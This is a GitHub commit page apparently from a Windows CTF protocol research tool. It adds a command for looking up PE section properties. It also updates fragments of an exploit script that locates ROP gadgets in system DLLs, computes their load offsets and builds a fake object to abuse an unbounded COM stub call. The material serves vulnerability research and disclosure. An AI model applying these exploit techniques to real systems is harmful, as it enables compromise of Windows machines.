Skip to content
Permalink
Browse files

add section command to avoid hardcoding PointerToRawData

  • Loading branch information...
taviso committed Jul 10, 2019
1 parent 15a028d commit cfc1d57051fb304283bad4c46d03dc1b4db2cb7d
Showing with 149 additions and 16 deletions.
  1. +46 −9 command.c
  2. +1 −0 command.h
  3. +12 −1 commanddoc.h
  4. +60 −0 peproc.cc
  5. +25 −5 scripts/ctf-exploit-common-1903.ctf
  6. +5 −1 winutil.h
@@ -51,6 +51,7 @@ UINT64 ClientThreadId;
UINT64 ClientFlags;
ULONG NonInteractive;
UINT64 LastGadget;
UINT64 LastSectionResult;
ULONGLONG UserRegisters[6];

COMMAND_HANDLER CommandHandlers[] = {
@@ -101,6 +102,7 @@ COMMAND_HANDLER CommandHandlers[] = {
{ "consent", 0, ConsentDoc, "Invoke the UAC consent dialog.", ConsentHandler },
{ "reg", 3, RegDoc, "Lookup a DWORD in the registry.", RegHandler },
{ "gadget", 2, GadgetDoc, "Find the offset of a pattern in a file.", GadgetHandler },
{ "section", 3, SectionDoc, "Lookup property of PE section.", SectionHandler },
};

int CompareFirst(PCHAR a, PCHAR *b)
@@ -130,7 +132,8 @@ ULONGLONG DecodeIntegerParameter(PCHAR Value) {
{ "r5", "User defined register.", UserRegisters[5] },
{ "rc", "Return code of last run command.", LastCommandResult },
{ "regval", "The last value queried from the registry.", LastRegistryValue },
{ "gadget", "Result of the last gadget found.", LastGadget }
{ "gadget", "Result of the last gadget found.", LastGadget },
{ "section", "Result of the last section property query.", LastSectionResult }
};

// Check if the caller is requesting help.
@@ -1289,7 +1292,7 @@ ULONG SymbolHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
*Symbol++ = '\0';

// Copy the name while we figure out where it is.
strcpy(ModulePath, Module);
strncpy(ModulePath, Module, MAX_PATH - 5);

// Is it already fully qualified?
if (PathIsRelative(Module)) {
@@ -1421,6 +1424,45 @@ ULONG WindowHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
return 1;
}

ULONG SectionHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
{
CHAR ModulePath[MAX_PATH];
BOOL Found;
PVOID OldValue;

// Copy the name while we figure out where it is.
strncpy(ModulePath, *Parameters, MAX_PATH - 5);

// Is it already fully qualified?
if (PathIsRelative(*Parameters)) {
// This doesnt do anything if there already is an extension.
PathAddExtension(ModulePath, ".DLL");

// Check the usual places for it.
PathFindOnPathA(ModulePath, NULL);
}

// Disable Redirection so we get the real files.
Wow64DisableWow64FsRedirection(&OldValue);

Found = GetSectionProperty(ModulePath, Parameters[1], Parameters[2], &LastSectionResult);

// Restore Redirection.
Wow64RevertWow64FsRedirection(OldValue);

if (Found) {
LogMessage(stdout, "%s->%s->%s is %#08llx",
ModulePath,
Parameters[1],
Parameters[2],
LastSectionResult);
} else {
LogMessage(stdout, "Failed to lookup %s property.", Parameters[1]);
}

return 1;
}

ULONG GadgetHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
{
SIZE_T Size;
@@ -1453,14 +1495,9 @@ ULONG GadgetHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters)
Result = FindGadgetOffset(*Parameters, HexBuf, Size);

if (Result >= 0) {
LogMessage(stderr, "Found Gadget %.4s... in module %s at offset %#llx", Parameters[1], Parameters[0], Result);
LogMessage(stderr, "Found Gadget %.6s... in module %s at offset %#llx", Parameters[1], Parameters[0], Result);
} else {
LogMessage(stderr, "Gadget %.4s... not found in module %s", Parameters[1], Parameters[0]);

if (!NonInteractive) {
LogMessage(stderr, "This script might fail, please report this.");
Sleep(5000);
}
LogMessage(stderr, "Gadget %.6s... not found in module %s", Parameters[1], Parameters[0]);
}

LastGadget = Result;
@@ -120,6 +120,7 @@ ULONG ConsentHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG RegHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG WindowHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG GadgetHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);
ULONG SectionHandler(PCHAR Command, ULONG ParamCount, PCHAR *Parameters);

ULONG DispatchCommand(PCHAR CommandLine);
int CompareFirst(PCHAR a, PCHAR *b);
@@ -394,7 +394,18 @@ static const char WindowDoc[] =

static const char GadgetDoc[] =
"Usage: gadget MODULE BYTESTRING\n"
"Find the first offset of BYTESTRING in MODULE.\n"
"Find the first offset of BYTESTRING in MODULE. The result is stored in\n"
"the gadget variable, as well as printed.\n\n"
"Examples:\n"
" ctf> gadget kernel32 413168c4\n";

static const char SectionDoc[] =
"Usage: section MODULE SECTIONNAME PROPERTY\n"
"Parse the section header of MODULE, find a section named SECTIONNAME and\n"
"print the value of PROPERTY. PROPERTY should be a member of\n"
"IMAGE_SECTION_HEADER, such as VirtualAddress.\n\n"
"The result is stored in the section variable for scripting.\n\n"
"Examples:\n"
" ctf> section kernel32 .text PointerToRawData\n";

#endif
@@ -58,3 +58,63 @@ extern "C" bool GetSymbolInfo64(char *Filename,

return false;
}

typedef struct _SECTION_PARAMS {
char *SectionName;
uint64_t SectionBase;
image_section_header SectionHeader;
} SECTION_PARAMS, *PSECTION_PARAMS;

static int FindSection(void *user,
peparse::VA secBase,
std::string &secName,
peparse::image_section_header s,
peparse::bounded_buffer *data)
{
auto params = static_cast<PSECTION_PARAMS>(user);
auto address = static_cast<std::uint64_t>(secBase);

if (params->SectionName == secName) {
params->SectionHeader = s;
params->SectionBase = address;
}

return 0;
}

extern "C" bool GetSectionProperty(char *Filename,
char *Section,
char *Property,
uint64_t *Result)
{
SECTION_PARAMS Params;
parsed_pe *p = ParsePEFromFile(Filename);

if (p == NULL) {
return false;
}

Params.SectionName = Section;
Params.SectionBase = 0ULL;

IterSec(p, FindSection, &Params);

DestructParsedPE(p);

if (Params.SectionBase == 0)
return false;

if (strcmp(Property, "VirtualAddress") == 0) {
*Result = Params.SectionHeader.VirtualAddress;
} else if (strcmp(Property, "PointerToRawData") == 0) {
*Result = Params.SectionHeader.PointerToRawData;
} else if (strcmp(Property, "SizeOfRawData") == 0){
*Result = Params.SectionHeader.SizeOfRawData;
} else if (strcmp(Property, "Characteristics") == 0) {
*Result = Params.SectionHeader.Characteristics;
} else {
return false;
}

return true;
}
@@ -10,11 +10,20 @@ set r3 480
# gadget.
gadget msvcrt 48895C240848896C2410574883EC2083
set r4 gadget
add r4 0xc00

# We need to adjust the offset based on the section headers to guess where it
# will be loaded.
section msvcrt .text VirtualAddress
add r4 section
section msvcrt .text PointerToRawData
sub r4 section

# Offset of slack space in kernel32 .data section. This is where we build our
# fake object in memory.
set r5 0xa9008
# fake object in memory. It doesn't have to be kernel32, any module with some
# writable space that is always zero is fine.
section kernel32 .data VirtualAddress
set r5 section
add r5 0x1008

# There is a bug in how methods are called on what CTF calls "stubs", essentially
# COM objects. The protocol lets you send a function index that is not bounds
@@ -175,7 +184,12 @@ module64 msctf
set r2 module
gadget msctf 488b4130488b493848ff25
add r2 gadget
add r2 0xc00

# Adjust the file offset based on the section headers.
section msctf .text VirtualAddress
add r2 section
section msctf .text PointerToRawData
sub r2 section

# Alright, lets paste this sucker in.
patch 0 0xa8 r0 8 -0x158
@@ -516,7 +530,13 @@ repeat r1 callstub 0 0 r3
module64 combase
gadget combase 488b49c8488b01488b400848ff25
set r1 gadget
add r1 0xc00

# Adjust the file offset based on the section headers.
section combase .text VirtualAddress
add r1 section
section combase .text PointerToRawData
sub r1 section

patch 0 0x40 module 8 r1

# OK, all done....
@@ -16,5 +16,9 @@ BOOL GetSymbolInfo64(PCHAR Filename,
PBOOL Is64,
PULONGLONG ImageBase,
PULONGLONG Address);


BOOL GetSectionProperty(PCHAR Filename,
PCHAR Section,
PCHAR Property,
PULONGLONG Result);
#endif

0 comments on commit cfc1d57

Please sign in to comment.
You can’t perform that action at this time.